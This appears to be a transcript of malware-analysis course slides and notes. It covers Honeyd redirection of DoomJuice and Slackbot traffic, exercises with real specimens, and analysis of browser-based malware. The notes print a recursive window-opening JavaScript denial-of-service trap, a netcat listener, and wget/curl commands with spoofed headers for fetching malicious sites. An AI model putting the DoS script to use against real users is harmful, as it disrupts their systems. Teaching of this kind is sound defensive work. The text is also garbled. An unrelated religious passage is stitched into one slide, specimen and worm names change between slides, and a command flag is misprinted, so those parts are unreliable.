Honeyd installed on REMnux makes use of the honeyd.conf configuration file located in the /etc/honeypot directory. The file is configured for the purpose of helping us intercept network connections. This slide presents the contents of this configuration file.

The first four lines define the default behavior for Honeyd responses. I configured it not to respond to network traffic by default, with the exceptions of the protocols and ports I listed below. According to this configuration, Honeyd will listen on all possible IP addresses that aren't already in use.

The next line configures Honeyd to listen on TCP port 80, and to direct any connection it receives on that port to the web.sh script. This is a very simple script that emulates an Internet Information Services (IIS) web server.

The next line configures Honeyd to listen on TCP port 6666, and forward (proxy) such connections to whatever application happens to be listening on the local TCP port 6666. The idea behind this directive is to have Honeyd redirect IRC connections, which use TCP port 6666, to the local IRC server, regardless of the IP address that the IRC connections are targeting.

The last line configures Honeyd to listen on TCP port 3127, and forward such connections to the application that is listening on the local TCP port 3127. Having Honeyd listening on this port will come in handy a bit later in this course.
Honeyd Web Server Emulation

Type an IP that's not in use.

You are in Error

O strange and inconceivable thing! We did not really die, we were not really buried, we were not really crucified and raised again, but our imitation was but a figure, while our salvation is in reality. Christ was actually crucified, and actually buried, and truly rose again, and all these things have been vouchsafed to us, that we, by imitation communicating in His sufferings, might gain salvation in reality. O surpassing ferme kindness! Christ received the nails in His undefiled hands and feet, and endured anguish, while to

The screenshot on this screen shows Internet Explorer running on the Windows workstation in my lab. I typed an IP address at random into the browser's address bar, and received a response that, as we know, was the result of Honeyd's ability to intercept the connection. The page you see on this screen is the standard page that Honeyd's web server emulation script is programmed to return when it responds to an HTTP connection.

Troubleshooting note: Make sure that that IP address you type into the browser is not already in use within our lab. Honeyd only intercepts network connections directed at non-existent IP addresses. Also, if Honeyd's website doesn't appear, check the Windows network settings and ensure the default gateway and DNS servers point to the IP address of your REMnux virtual machine.
The DoomJuice worm was detected in February, 2004. If you placed its executable in your lab and observed its activities on the network, you would notice that it seemed to be selecting random IP addresses and attempting to connect to them on TCP port 3127. (You will find a copy of the DoomJuice worm in the 'Malware folder on your course DVD.)
DoomJuice and TCP Port 3127

- Scanned random IP addresses on TCP port 3127
- Looked for backdoor left earlier by the MyDoom worm
- How could we tell what it would do once connected to TCP port 3127?

Additional background details about this worm, which you could obtain through some web searching: DoomJuice spread by locating systems that were already infected with the Mydoom worm, which left a backdoor on TCP port 3127. If you obtained an early specimen of DoomJuice, your early stages of the behavioral analysis would reveal that it attempts to connect to seemingly random IP addresses on TCP port 3127. How would you determine what DoomJuice would do once it connected to this port?

Let's use Honeyd to intercept IP-based network connections that MyDoom generates, redirecting them to the NetCat listener on our Linux box. Once MyDoom establishes the connection, we will be able to gather useful information by monitoring the data exchange between the infected system and the targeted system.
Emulate All Possible IP Addresses

- This line in honeyd.conf intercepts all connections to TCP port 3127:
  ```
  add default tcp port 3127 proxy 127.0.0.1:3127
  ```
- Start farpd and honeyd
- Listening with NetCat on TCP port 3127 is unnecessary, because we just want to receive data

Since we cannot easily anticipate what IP addresses DoomJuice will generate, we can use Honeyd to emulate all possible IP addresses by using the configuration I described in earlier slides. First, we need to start farpd and honeyd daemons.

The following line from honeyd.conf ensures that Honeyd will proxy all connections received on emulated ports 3127 to the program listening on local port 3127:

```
add default tcp port 3127 proxy 127.0.0.1:3127
```

In situations where you need to proxy connections that use a bi-directional protocol, such as IRC, you'd need to start a local listener on the appropriate port on REMnux. In this case, you don't need to do that, because Honeyd's "proxy" mode establishes the TCP connection even without the local listener. This allows the sending program to transmit data to its destination—it just won't receive any data in response. You can use Wireshark to observe what data is being sent from the infected system. If you did want to save the data without the sniffer, you could start the NetCat listener on TCP port 3127 by using:

```bash
remnux@remnux-$ sudo nc -1 -p 3127
```
After starting the Wireshark sniffer on REMnux, you can infect a laboratory system with DoomJuice. You can use Wireshark’s “Follow TCP Stream” feature to observe the data the worm is sending. To do this, right-click on one of the TCP port 3127 packets and select “Follow TCP Stream”.

The payload of the captured packets might look familiar to you.

The string “This program cannot be run in DOS mode” is embedded in the beginning of Windows executables, and is a good sign that the packet transports the first portion of a Windows executable file. The “MZ” string in the beginning of the payload confirm this theory—this character sequence is part of the PE header structure that carries the MS-DOS compatible header data and designates this file as an MS-DOS compatible program. Closer analysis of the packet’s payload would reveal that it contains a copy of the DoomJuice executable!

If you looked at payload of the individual packets comprising this TCP stream, you would notice that the first packet’s payload contains hexadecimal values 0x95, 0x13, 0x3C, 0x9E, and 0xA2. Doing some Web searches would reveal that this is probably a command sequence that the MyDoom worm used to upload files through its backdoor.

So, what’s going on here? It looks like the DoomJuice worm is using a MyDoom command to upload itself to the targeted system through the MyDoom backdoor. We were able to make this assessment through behavioral techniques by redirecting DoomJuice’s scan to a laboratory system that was listening on the targeted port.
What We've Learned so Far

- Learned to patch executables
- Learned how packers protect executables
- Learned to bypass packers
- Learned to intercept network connections that use IP addresses

We've reached the end of this section. We began by learning to patch executables. We went on to learn about packers: how they protect executables, and how we can bypass their protection when analyzing malicious code. One of the techniques that I showed you involved dumping the unpacked code from memory to disk using a program such as LordPE. I also demonstrated a more precise way of obtaining the original program through the use of an OllyDbg plug-in called OllyDump. We also briefly examined the use of automated unpackers that attempt to automatically strip away the packer's protection. Even though we cannot rely on such programs, one auto-unpacker that worked well for me in the past was AspackDio. Another way of bypassing packers involved using the debugger to examine the workings of the protected executable without attempting to dump it to disk.

Another topic covered by this section involved intercepting network connections that use IP addresses, as opposed to hostnames. The tool of choice in this context was Honeyd. I went over an example where we used Honeyd to analyze network scans that originated from the Doomsday worm.

This completes the new material for this section. Please be sure to go through the exercises in the following slides.
FOR610.2 Roadmap

- Patching executables
- Packed executables
- Intercepting IP-based connections

→ Hands-on exercises

... then 2nd half of FOR610.2

It's time for hands-on exercises to reinforce what we've just learned.
Hands-on Exercises

1. Go over this section's Tnnbtlb patching example
2. Go over this section's analysis of packed tnnbtlb.exe in OllyDbg
3. Determine connection properties of qquzlzb.exe

Please complete these exercises before starting the next section of this course. These exercises are described in greater detail in subsequent slides.
Watch Your Step with Malware

- Easy to accidentally double-click
- Be sure to disconnect from the production network
- Ensure the virtual machine is in host only mode
- Do not use for malicious purposes

Hands-on exercises for this course involve real-world malware code that is dangerous and needs to be handled with care. Please follow isolation guidelines and common sense precautions to ensure that you do not accidentally impact your production environment.
Performing Malware Exercises

- We will go over malware analysis in class.
- Malware specimens located in \Malware\day2 on the DVD.
- Use password "malware" to extract malware zip file contents.

We will go over the solutions to these exercises in class.

The malware specimens used for these exercises are located in the \Malware\day2 directory on the DVD you received for this course. Each specimen is in a dedicated zip file that is protected with the password "malware" to help prevent accidental execution and anti-virus detection.
Exercise 1: Patching tnnbtib.exe

In this exercise we will review the steps for patching Tnnbtib, as presented earlier in this section.
The Patching tnnbtib.exe Challenge

- Go over this section's Tnnbtib patching example
- Patch the unpacked version of tnnbtib.exe
- Save your changes to disk, and observe the difference using fc.exe

If you haven't already, please go over this section's example of patching the unpacked version of tnnbtib.exe. In this case, you modified the program's workflow, so it would accept any password via the IRC session. You would use similar techniques to change other aspects of the program's execution flow you may not like, for instance to disable the code that detects your debugger.
Exercise 2: Packed tnnbtib.exe

In this exercise we will review the analysis of the packed version of Tnnbtib presented in this section.
The Packed tnnbtib.exe Challenge

- Go over the analysis of the packed version of tnnbtib.exe covered in this section
- Make sure you can use OllyDbg to see tnnbtib.exe compare the fake password to the real password

In this section I demonstrated several techniques for analyzing the packed version of Tnnbtib. Please go over this section's slides and implement these analysis steps in your own lab.

At the end of your analysis you should end up with OllyDbg intercepting the authentication attempt and revealing the trojan's login password.
Packed Tnnbtib Hints (1)

- Use what you already know about Tnnbtib to set up the environment
  - Entries in the hosts file
  - *ircd* and *irc* running

- Use the original version of tnnbtib.exe, which we didn't unpack

You already know a lot about the environment Tnnbtib expects to reside in, so you don't need to start your analysis from scratch. To save time, set up the hosts file, and launch the appropriate daemons so that Tnnbtib joins its IRC channel as soon as you infect the Windows box.

For this analysis you should use the version of tnnbtib.exe that was not unpacked with UPX.
Packed Tnnbtib Hints (2)

- Load the packed version of tnnbtib.exe into OllyDbg
- Find the right memory segment
- Set the memory breakpoint
- Activate the breakpoint by logging into the trojan with a fake password

Use the Tnnbtib slides from this section as a step-by-step guide for analyzing the packed version of Tnnbtib. Load the packed version of C:\WINDOWS\tnnbtib.exe into OllyDbg, navigate through memory segments to set the breakpoint, and activate the breakpoint by attempting to authenticate to the trojan through its IRC channel.
Exercise 3: Examining qquzIzb.exe

In this exercise we will practice our Honeyd skills by examining a newly customized version of Slackbot.
The qquzlb.exe Challenge

• What IRC channel does \( \text{qquzlb.exe} \) use?
• This is a custom Slackbot specimen
• It uses an IP address to connect to the IRC server, instead of the hostname malwarecourse.sans.org

You will find a slightly customized version of Slackbot in \( \text{Malware} \text{qquzlb.zip} \) on the DVD you received for this course. Unlike Tnmbib, this Slackbot variant uses an IP address, instead of a hostname, to connect to its IRC server.

Please determine the name of the IRC channel that Qquzlb uses instead of the "\#malware" channel that we encountered with Tnmbib.
Using Honeyd for Qquzizb

- Use Honeyd to redirect the connection to local IRC server
- Confirm the infected system's default gateway is set to REMnux's IP address
- Review Honeyd settings in /etc/honeypot/honeyd.conf

Use Honeyd to redirect Qquzizb's attempt to access an IRC server, having the trojan connect to the IRC server running on your Linux box.

Reminder: To start the IRC server on REMnux, type “ircd start”. The server is configured to listen on TCP ports 6666 and 6667. If you wish to start the IRC client on REMnux, type “irc”.

In order for Honeyd-based redirection to work reliably, confirm you hard-coded your Windows virtual machine's network setup to use your REMnux virtual machine's IP address as its default gateway. (You should have done this when setting up your lab in the beginning of the course.)

Familiarize yourself with the Honeyd configuration on REMnux. The configuration file is in /etc/honeypot/honeyd.conf.
Starting Honeyd Components

To start Honeyd components, type the following commands in Honeyd:
"farpd start" and "honeyd startd".
When you're ready to shut down Honeyd component, you can do so using:
“farpd stop” and “honeyd stop”.

You won't need to stop the services until you have completed this exercise.
Qquzlzb Hints

- To set default gateway on the Windows box, hard-code IP configuration parameters before running Honeyd
- Qquzlzb will attempt connecting to an IP address
- Use Honeyd to redirect that connection to the REMnux virtual machine
- There's no need to use OllyDbg

Don't forget to set the default gateway on the virtual Windows system to point to the REMnux virtual machine.

Use Wireshark to determine what IP address and what port number Qquzlzb is trying to reach. Then use Honeyd to redirect that connection to the IRC server on the REMnux virtual machine on the appropriate port.

To start the IRC server on REMnux, use "ircd start". If you want to start the IRC client, use "irc".

Once Honeyd is properly configured and running, you can observe the IRC connection's payload by using the "Follow TCP Stream" in Wireshark.

This is a behavioral exercise—there's no need to use the debugger.
Hands-on Exercises: Solutions

Reminder: Do not look at the solutions until you have completed the exercises. We will review the solutions together in class.

Let's go over the solutions to this section's hands-on exercises. Reminder: Please do not look at these solutions until you have completed all exercises for this section. We will review the solutions together in class.
Exercise 1: Patching tnnbtib.exe

- You reviewed the steps for patching a malicious executable.
- You patched the unpacked version of tnnbtib.exe.

In this exercise, you modified the program's workflow, so it would accept any password via the IRC session. You would use similar techniques to change other aspects of the program's execution flow you may not like, for instance to disable the code that detects your debugger.
Exercise 2: Packed tnnbtib.exe

- You became more familiar with using OllyDbg
- You practiced debugging packed executables without unpacking them

Exercise 2 gives you a chance to go over the analysis of the packed version of tnnbtib.exe. We went over these analysis steps as part of last section's material. Performing this hands-on exercise allowed you to practice debugging packed executables “live” without unpacking them. As you saw, debugging such protected programs requires you to offer some assistance to OllyDbg for handling code that OllyDbg thinks belongs to a data section.
Exercise 3: Examining qquzlzb.exe

- qquzlzb.exe is a Slackbot variant
- Connects to 10.13.121.15 on TCP port 6666
- Joins IRC channel "#pinky"
- You used Honeyd to redirect IP address-based connection attempt

This exercise asked you to examine qquzlzb.exe—another Slackbot variant. Going through the analysis would reveal that this specimen attempts to connect to the IRC server on 10.13.121.15 using TCP port 6666. Once connected, the program joins channel "#pinky". This exercise gave you an opportunity to use Honeyd to intercept IP-based connection attempts, redirecting them to your lab's IRC server. The following slides explain the steps you can use to reverse-engineer this malware specimen in order to obtain this information.
The tmbthb.exe specimen that we’ve analyzed earlier used a domain name to specify which IRC server it wants to connect to. In contrast, qquzlzb.exe is a Slackbot variant that uses an IP address that’s hard-coded into it. You can tell that it uses an IP address if you examine the packets that originate from the system infected with qquzlzb.exe, as illustrated on this slide. The malware specimen tries to access TCP port 6666 on 10.13.121.15, so you know you’re probably dealing with an IRC connection attempt. Because qquzlzb.exe does not use a hostname for this connection, there is no need to edit the hosts file on the infected system.
Allowing qquzlzb.exe to Connect

- Start the IRC server on the Linux box:
  `remnux@remnux$ ircd start`

- Confirm Honeyd is configured for IRC:
  `add default tcp port 6666 proxy 127.0.0.1:6666`

- Start `farpd` and `honeyd`:
  `remnux@remnux$ farpd start`
  `remnux@remnux$ honeyd start`

- Launch Wireshark
- Launch the qquzlzb.exe process

You can use Honeyd to intercept the connection to 10.13.121.15, redirecting it to the REMnux virtual machine. Before launching Honeyd, start the IRC server on REMnux, to make sure that the system will accept the IRC connection.

The following line in the /etc/honeypot/honeyd.conf file on REMnux already tells Honeyd that it should intercept connections targeting TCP port 6666 and proxy them to the process that is listening on this port on localhost:

`add default tcp port 6666 proxy 127.0.0.1:6666`

You can start `farpd` and `honeyd` daemons REMnux. Once Honeyd and the IRC server are running, you can infect the Windows virtual machine by launching qquzlzb.exe.
Now Honeyd can successfully intercept connections that target 10.13.121.15 on TCP port 6666, and proxy them to the IRC server running on REMux. Wireshark is able to capture the packets and shows the channel name ("#pinky") in their payload. You can also see the channel name if you issue the "/list" command using your IRC client.
The second half of FOR610.2 focuses on the web ecosystem, covering topics related to web-based malware, such as malicious Flash programs, Java, and browser-based malicious code.

First, we will examine ways of analyzing malware that operates through the use of a Web browser; such specimens may take the form of JavaScript scripts and Flash SWF files. Finally, we will take a brief look at shellcode, which tends to be an integral part of many modern exploits—we will learn a technique for understanding capabilities of such shellcode.
Analyzing Browser-Based Malware

In this topic we will examine tools and techniques useful for analyzing browser-based malicious code.
Browser-Based Malware Attacks

- Malware may propagate *through* the browser or operate *within* it.
- Browser-based attacks may involve:
  - Denial of service
  - Privilege escalation
  - Social engineering
- We need to understand:
  - HTML, JavaScript, Flash

Browser-based attacks are growing in popularity, and are increasing in complexity. Our discussion in the course so far focused on analyzing compiled Windows executables whose instructions the CPU executes directly. In this section, we will look at browser-based malware that may propagate *through* the browser to install regular Windows executables on the victim's system, or it may be written to exist *solely* within the browser.

Browser-based attacks that involve malware range from denial of service against the victim's browser or system to privilege escalation. We will look at examples of these scenarios shortly. To analyze such attacks, we will need to learn to examine HTML, JavaScript scripts, and Flash files.
Annoying JavaScript Trap Example (1)

- A user is directed to a malicious website (typically via e-mail)
- The website displays an annoying Flash-based animation
- New windows pop up whenever the user closes one of the windows
- May need to restart the system

To give you a better sense for what a browser-based attack might look like, let's take a look at an example of an Annoying JavaScript Trap that implements a denial of service attack against the victim's browser. I first saw this attack in the context of an unsolicited e-mail message that enticed the recipient to visit a particular website.

Upon the initial glance, the website seemed relatively harmless, with the exception of an annoying Flash-based animation occupying the browser's window. You can see the screenshot of this animation on the following slide.

As soon as the user attempted to close the browser window, the site popped up numerous windows, each with an instance of the annoying Flash animation. The process repeated recursively for every window that the user tried to close. These actions resulted in the victim having to restart the Web browser or, in many cases, requiring the reboot of the whole system.
Annoying JavaScript Trap (2)

you are an idiot

The screenshot on this slide displays the animation that the victim saw when going to the offending website. At this point, the site seems slightly annoying, but not overly bothersome.
Annoying JavaScript Trap (3)

- New windows keep opening if the victim tries to leave
- Animated images
- Speakers blast an annoying, yet catchy, jingle

Lots of windows appear on the victim's screen when he or she attempts to close the original browser window or any of the new windows. In addition to being visually assaulted by moving windows and flashing images, the victim is subjected to a loud and annoying jingle.

Now that you know the particulars of this attack, let's take a look at the malicious scripts that implement it.
How this Trap Works

```javascript
function procreate() {
    openWindow('open.html');
    openWindow('open.html');
    openWindow('open.html');
    openWindow('open.html');
}

function openWindow(url) {
    aWindow = window.open(url, '_blank',
        'menubar=no,status=no,toolbar=noresizable=no,
        width=180,height=175,toolbar=no,
        alwaysRaised=yes');
}
```

This slide presents core segments that implement the attack that I just illustrated. When the victim's browser loads the initial page on the malicious website, the browser parses the "body" tag, where the malware author defined the "onUnload" event. This event is automatically triggered, executing the "procreate()" routine, when the user attempts to leave the page.

Following the flow of execution, let's take a look at the "procreate()" routine. It, in turn, invokes the "openWindow()" routine 4 times, passing the URI of the current page as the parameter. Effectively, this pops up 4 copies of the page that the victim is trying to leave.

The "openWindow()" routine implements the mechanics of opening a new window. This routine uses the JavaScript "window.open()" method to open a browser window with the supplied URI and other relevant parameters.

Each new window will contain a copy of the malicious page, along with the associated scripts. Therefore, the process will continue for every window that the victim attempts to close.

Now that we've examined one example of browser-based malware, let's generalize the steps necessary to analyze such code.
Analyzing Malicious Sites (1)

• Connect to the site using a non-GUI browser (wget, Lynx)
• Download source code of each relevant page
• Consider mirroring: HTTrack Website Copier or "wget --mirror"

The process of analyzing malicious sites is rather intuitive. In its purest form, it requires you to download the site one page at a time using a non-GUI browser such as wget or Lynx. These tools are freely available for most Unix and Windows operating systems.

I usually begin the analysis with the top page where the attacker expects the victim to go, download it locally, and examine its source code. If I see the page making a reference to another page on the site, I download that page, and continue with the process in a recursive matter.

Sometimes it is more convenient to download the whole site in one shot, archive it locally, and examine it at my own convenience. This is especially useful if you think the malicious site is about to go down, and you want to make sure that you have its files available for careful examination. My favorite tool for mirroring malicious site is HTTrack Website Copier, which is a free utility for Windows operating systems. HTTrack is highly configurable, and will allow you to retrieve the remote site as a whole, or specific portions of the site. You can also mirror a site non-interactively with wget via "wget --mirror".

The wget utility is available at http://www.gnu.org/software/wget.
The Lynx browser is available at http://lynx.browser.org.
The HTTrack Website Copier program is available at http://www.httrack.com.
Analyzing Malicious Sites (2)

- Safest to browse local copy within an isolated virtual machine.
- May also connect directly from a virtual machine in NAT or bind mode.
- Examine page source via an editor
- Consider using an anonymizing proxy, such as TOR and JonDonym.

The safest way to analyze a malicious site is to browse its local copy within a fully isolated system. It is more convenient, however, to connect to the site directly, at least for an initial assessment of its threat capacity. I strongly discourage you from connecting to the malicious site from your production system. If you must connect to the site directly, you should at least be operating from a VMware system that is connected to the network via bind or NAT mode.

Once you are able to access the malicious site's pages, you can examine their source code using your favorite text editor.

Sometimes looking through a complex chain of malicious pages can get a little complicated, especially, if you are dealing with a flow of nested scripts or pages that reference each other.

When connecting to a malicious website, consider concealing your origin by connecting through an anonymizing proxy. Why attract attention to your analysis, if you don't have to? TOR provides a convenient mechanism for accomplishing this by routing your traffic through a network of anonymizing systems (see http://www.torproject.org). If running TOR on Windows, consider the convenience of the package that bundles Tor, Vidalia (a GUI for Tor), and Privoxy (a filtering web proxy) – see http://www.torproject.org/docs/tor-doc-windows.html.

An anonymizing project similar to TOR is JonDonym—see http://anonymous-proxy-servers.net/. 
Using \textit{wget} With Malicious Sites

- Sites may target specific browsers
- Spoof user agent with \textit{wget}

\textbf{Internet Explorer 7 on Windows XP:}

\begin{verbatim}
$ wget "http://malicious.com/" --user-agent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)"
\end{verbatim}

\textbf{Mozilla Firefox 3 on Windows Vista:}

\begin{verbatim}
$ wget "http://malicious.com/" --user-agent="Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9)
Gecko/2008052906 Firefox/3.0"
\end{verbatim}

Malicious sites may be programmed to ignore requests that do not come from targeted browsers. Therefore, you may need to spoof the user agent identifier of the browser. This is easy to do with \textit{wget}. For example, you can use the commands shown on this slide to spoof Internet Explorer and Firefox on the desired Windows platform.

To easily create a user agent string for other browsers, take a look at the wannaBrowser website at http://www.wannabrowser.com.

If you prefer to use Firefox, instead of \textit{wget}, you can take advantage of the Firefox "User Agent Switcher" extension to control how your browser identifies itself when connecting to the web server. You can download this extension from:

https://addons.mozilla.org/firefox/59/
May Need to Also Spoof Referrer, Host, and Other Headers

- The ~remnux/.wgetrc file on REMnux spoofs common headers for wget
- Tweak it for specific situations

```
user_agent = User-Agent: Mozilla/4.0 (compatible; MSIE ...
referer = http://www.google.com/search?hl=en&q=web&q= ...
header = Accept: image/gif, image/jpeg, image/pjpeg, ...
header = Accept-Language: en-us
```

Malicious websites are becoming increasingly careful about examining HTTP headers they receive from potential victims before attempting to exploit them. Therefore, in addition to spoofing the user agent field, you may need to fake other headers when connecting to malicious sites.

The ~remnux/.wgetrc file on REMnux, which is located in the home directory of the user “remnux”, is configured to include common HTTP headers to make wget look like a common Internet Explorer 8 browser running on Windows XP. Running wget when logged into the “remnux” will automatically use this configuration file.

The file specifies the referer field to make it look like you stumbled upon the malicious site via a Google search for the word “web”. This should work for many common malicious sites; however, you may need to tweak this, and other settings in the .wgetrc file to match your specific scenario.

You may also need to define the Host header to specify the website you’re trying to retrieve, if the malicious server hosts multiple virtual websites. You can do this by adding a line such as `header = Host: www.somehost.com` to .wgetrc or by specifying `--header="Host: www.somehost.com"` on the command line when invoking wget.
Using `curl` with Malicious Sites

- A good alternative to `wget`
- Supports similar HTTP spoofing options (see `~remmux/.curlrc`)
- Particularly useful for examining HTTP error page responses

```bash
$ curl --dump-header headers.txt --output page.html "http://www.malicious.com/
```

A good alternative to `wget` is another command-line utility called `curl`. Curl makes it easy to split the HTTP response into its headers and the page body, which sometimes makes it a better option than `wget`. In particular, as you'll see on the next few slides, `curl` is the better tool to use when the malicious website presents you with an HTTP error page.

Similarly to `wget`, `curl` can accept command-line parameters to spoof HTTP headers, such as the user agent and the referrer URL.

`Curl` is installed on REMmux, which also includes a `~remmux/.curlrc` file that defines common HTTP header options useful for accessing potentially malicious websites. This file's contents on REMmux are very similar to those of the `~remmux/.wgetrc` file, but use a slightly different syntax.
HTTP Error Pages May Embed Malicious Code

- `wget` ignores code that follows HTTP error response headers
- Web browsers may process it

Here's an interesting example that shows the convenience of `curl`. If you accessed this particular site using `wget`, you'd see a valid HTTP Error 404 response (Not Found).

HTTP error responses may contain malicious scripts or directives after HTTP response headers. Web browsers will see those scripts or directives and may process them. Unfortunately, `wget` doesn't show the full body of HTTP responses. This leaves you blind to contents of HTTP response pages.

This example is based on the analysis Marco Cova published on his blog at:
Examine HTTP Error Responses with *curl*

You can use *curl* to retrieve and save the body of the HTTP error response page. You can use the --dump-header parameter to *curl* to save the headers, and the --output parameter to specify the file where the body will be saved.

In this example, we saved the body into the page.html file. If you looked at it using SciTE, you'd see that the response is not readable in clear text. It's probably because the web server compressed the page's contents to save bandwidth. In fact, if you check the page.html file using the *file* utility, you can confirm that the response is, indeed, compressed using the gzip algorithm.

You can decompress the file using *zcat*, which will show you that the body of the HTTP error response contains an *iframe* tag in an attempt to redirect the victim to another website.

If processing gzip'ed responses is taking up too much of your time, you can configure *curl* not to specify "gzip" as a supported encoding when it submits the HTTP request to the web server. To do this, remove or comment out the following line on the ~remux/.curlrc file on REMux: "Header: "Accept-Encoding: gzip, deflate"

This line is included in ~remux/.curlrc by default to make *curl* look more like a "real" web browser to the malicious website.
Analysis via an HTTP Proxy

- An HTTP proxy helps analyze and modify the communications.
- Assists in interacting with the site in a controlled manner
- Helps determine the flow: which URLs are accessed and how.

One of the challenges of analyzing a browser-based attack is understanding the flow of the attack's execution: how the malicious site's components relate to each other and which URLs are accessed.

An HTTP proxy helps gain such insights. Such tools typically reside on the local (infected) system in the lab, and proxy the browser's communications with websites. To accomplish this, you usually configure the browser to use localhost as its proxy server, and then activate the HTTP proxy tool to listen locally on the desired port.

In addition to monitoring and recording the browser’s interactions with websites, an HTTP proxy typically allows you to manipulate the browser's requests before they reach their destinations, and to edit the web sites' responses before they reach the browser. This lets you to interact with the remote website in a very controlled manner, pausing the communications, tweaking malicious code, removing unwanted elements from the web pages, and spoofing the browser’s request headers to experiment with different scenarios.

If using Firefox together with an HTTP proxy, you may find it convenient to use a proxy management add-on to Firefox, such as FoxyProxy (https://addons.mozilla.org/firefox/addon/2464).
There are many freely-available HTTP proxy tools, including:

- Paros HTTP Proxy - http://www.parosproxy.org
- Fiddler - http://www.fiddlertool.com/fiddler/

The screenshot on this slide shows Paros HTTP Proxy in action while reviewing response from a phishing site. Paros lets you intercept the browser's requests and the site's responses when you enable the options "Trap request" and "Trap response". This lets you edit the request or the response in the Trap tab, after which you'd click Continue to pass the request or the response to its destination.

Note that by default, Paros will attach its name (Paros) as the User-Agent header before submitting the browser's request to the website. This may be undesirable, if you're interacting with a malicious site that will be examining this string. To avoid this, launch Paros from the command line using the following command while being located in the folder where Paros is installed:

C:\WINDOWS\system32\javaw.exe -jar paros.jar -nouseragent

On REMnux, the paros script is already configured to use the "-nouseragent" option when you launch the tool.

Another option is to recompile Paros to disable this behavior permanently. For instructions on this, see http://www.cutawaysecurity.com/blog/archives/9.
Handling Obfuscated Scripts

- Browser scripts help deliver exploits or redirect to other sites.
  - JavaScript, VBScript
- The scripts are often obfuscated
  - Helps avoid anti-virus detection
  - Complicates analysis tasks

A malicious website is likely to include scripting elements that execute in the browser to deliver exploits or redirect the victim to other sites that the attacker wishes the victim to visit. The scripts are usually written in JavaScript, which is compatible with all full-featured modern browsers. At times, you may encounter scripts written in VBScript, which can be interpreted by Internet Explorer only.

Browser scripts are often obfuscated. This certainly complicates our task of analyzing the malicious page. Furthermore, this helps the script's author avoid anti-virus detection; the same original script can be obfuscated in many ways to avoid matching an anti-virus signature.
The Script Encoder Utility

- Microsoft distributes a free tool to obfuscate HTML source code
- Obfuscation complicates Web-based exploit analysis

<SCRIPT LANGUAGE='JScript'>

<SCRIPT LANGUAGE='JScript.Encode'>

One of the simplest techniques for obfuscating a browser script if the attacker is targeting Internet Explorer users involves a free Microsoft tool called Windows Script Encoder. You can download it from the following URL:


Once the site developer creates a web page, he or she can process the page using Script Encoder, which will locate all scripts in that page and obfuscate them. If the original script was prefixed by the "<SCRIPT LANGUAGE='JScript'>", the encoded script will be designated with the "<SCRIPT LANGUAGE='JScript.Encode'>" tag instead. If overly-curious site visitors look at the source code of the encoded script, they will see lots of gibberish. However, when Internet Explorer parses the page, it will automatically decode the script and execute it.
The Script Decoder Utility

- The obfuscation algorithm was reverse-engineered
- Decoding is automated using the free Script Decoder utility
- This utility comes in handy when analyzing some malicious sites

As most obfuscation mechanisms, the Windows Script Encoder was reverse-engineered. The author of the reverse-engineering write-up also created a tool that automates the process of de-obfuscating pages that were processed using Windows Script Encoder. This utility can come in very handy when analyzing some malicious sites.

You can find details regarding Windows Script Encoder's algorithm at:

You can download the Windows Script Decoder utility from:

The Windows Script Decoder is also installed on REMnux. You can invoke it using the `windows-script-decoder` command.
Script Decoder Example (1)

- "Zero day" vulnerabilities in Internet Explorer exploited around June 2004
- One such exploit analyzed on the Full Disclosure mailing list
- A collection of obfuscated scripts that installed a parasite toolbar

One malicious site that used Windows Script Encoder to obfuscate its scripts was examined by Jelmer Kupers in his post to the Full Disclosure mailing list on June 6, 2004. Jelmer analyzed a site that was silently installing an Internet Explorer toolbar on systems of the site's visitors. Most frustratingly, the victims claimed that the infection took place even though they had the latest security patches installed on their machines.

Jelmer discovered that the site used a collection of obfuscated scripts that took advantage of several published exploits, as well as several exploits that were previously unknown, to install a parasite toolbar on the victim's systems. Let's take a look at a segment from one of these scripts on the next slide.
If you looked at the source code of this malicious site, you would see the code listing such as the one presented on top of this slide. The code enclosed in the "<SCRIPT>" tags was actually much longer, but I had to remove a portion of it so that it would fit on this slide. Note that the tag "<SCRIPT>" tells Internet Explorer that this is an obfuscated script that needs to be decoded during runtime.

What's the easiest way for us to deal with the obfuscation mechanism in this example? We'll use the Script Decoder, of course. This command-line utility is a single executable that's named "scrdec14.exe". Although it supports several switches, we're really interested in its two core parameters: first you need to specify the name of the original file, and then the name of the decoded file that the program should create.

To decode the malicious page, I saved it locally as "installer.htm", and invoked the script as "scrdec14.exe installer.htm decoded.htm". This command produced a file that contained the decoded version of the page. You can see a fragment of one of the decoded scripts in the bottom left corner of this slide.
How this Exploit Worked

- Loaded and generated multiple obfuscated scripts
- Used patched and unpatched Internet Explorer exploits
- Silently installed the i-lookup.com browser toolbar

The malicious site in this example used several scripts, some of which were nested within the others in obfuscated form. Following the chain of execution, and decoding scripts as he went along, allowed the analyst studying this site to locate and understand the exploits that it used. Jelmer concluded that, in addition to implementing several known exploits, the site used two previously unknown vulnerabilities in Internet Explorer. The use of these exploits allowed the malicious site to silently install a parasite toolbar that was linked to i-lookup.com.

The URL hosting this toolbar became inaccessible shortly after Jelmer published his analysis. Unfortunately, very similar exploits were used in attacks a few weeks later, in a spree of infected IIS servers that redirected visitors to a site which used such exploits to push a trojan to victims' systems. (See http://isc.sans.org/diary.php?date=2004-06-25.)
"Native" Script Obfuscation Techniques

- Malicious sites may obfuscate code using custom JavaScript routines.
- Scripts can deobfuscate themselves.
- Similar to how packers do it.
- JavaScript interpreters and debuggers can assist us.

While it is still possible to run into a page protected with the Script Encoder utility, you are much more likely to come across malicious scripts protected using custom obfuscation algorithms implemented in JavaScript. The underlying approach is similar to that employed by traditional packers that protect compiled Windows executables.

As we discussed in the previous section, packed executables typically contain a small set of routines visible in assembly. These routines are responsible for unpacking the original program, stored as encoded data, into memory. Once the original program has been unpacked into RAM, the unpacker usually transfers control to the original code of the program by jumping to it.

Protectors implemented within browser scripts follow the same approach, except they implement it using JavaScript and run within the confines of the browser. The malicious script may include a set of deobfuscating subroutines, implemented and visible as plain JavaScript. The original scripts are concealed, either obfuscated or encrypted, in one or more variables as data. Once the deobfuscating subroutines decode the original scripts, they pass control to them. This is typically accomplished by invoking JavaScript's methods `eval()` or `document.write()`.

To handle such protective mechanisms we can use JavaScript interpreters and debuggers.
What is script.html Concealing?

Here's an example of a script protected using the JavaScript-based obfuscation technique outlined on the previous slide. The variable "\texttt{arr}" contains the original script that is being protected. Its contents are significantly longer than what is visible on this slide.

